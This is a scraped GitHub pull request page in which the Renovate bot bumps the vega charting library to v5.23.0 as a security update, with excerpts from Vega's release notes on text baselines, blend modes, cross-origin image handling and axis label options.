Support for text baseline values line-top and line-bottom. These values are similar to top and bottom baselines, but calculated relative to the lineHeight rather than fontSize alone.
Support for color blend modes via the new blend encoding channel. The allowed values are: multiply, screen, overlay, darken, lighten, color-dodge, color-burn, hard-light, soft-light, difference, exclusion, hue, saturation, color, luminosity. For Canvas rendering, the blend is set via the context 2D globalCompositeOperation property. For SVG rendering, the blend is set via the CSS mix-blend-mode style. The default Vega value is null (or undefined), which maps to the default values "source-over" (for Canvas) and "normal" (for SVG). For more, see the Canvas globalCompositeOperation and CSS mix-blend-mode documentation, including limitations in cross-browser support.
Support for configuration of cross-origin image handling. Vega uses crossOrigin="anonymous" by default for loaded images, which allows images loaded from a different host to be included in exported visualization images (and thereby avoid "tainted canvas errors"), so long as the server provides permission via proper CORS headers. This default can be overridden by providing loader options to the Vega view that include a crossOrigin property. If this property is defined and maps to a value of null or undefined, then a no-cors fetch will be performed instead.
Add axis labelOffset property to adjust axis label position in addition to tickOffset, and labelLineHeight to set the l

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renovate bot added dependencies vulnerability labels Mar 24, 2023

Update dependency vega to v5.23.0 [SECURITY]

9db708b

renovate bot force-pushed the renovate/npm-vega-vulnerability branch from 5718c91 to 9db708b Compare April 17, 2023 10:57

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Update dependency vega to v5.23.0 [SECURITY] #78

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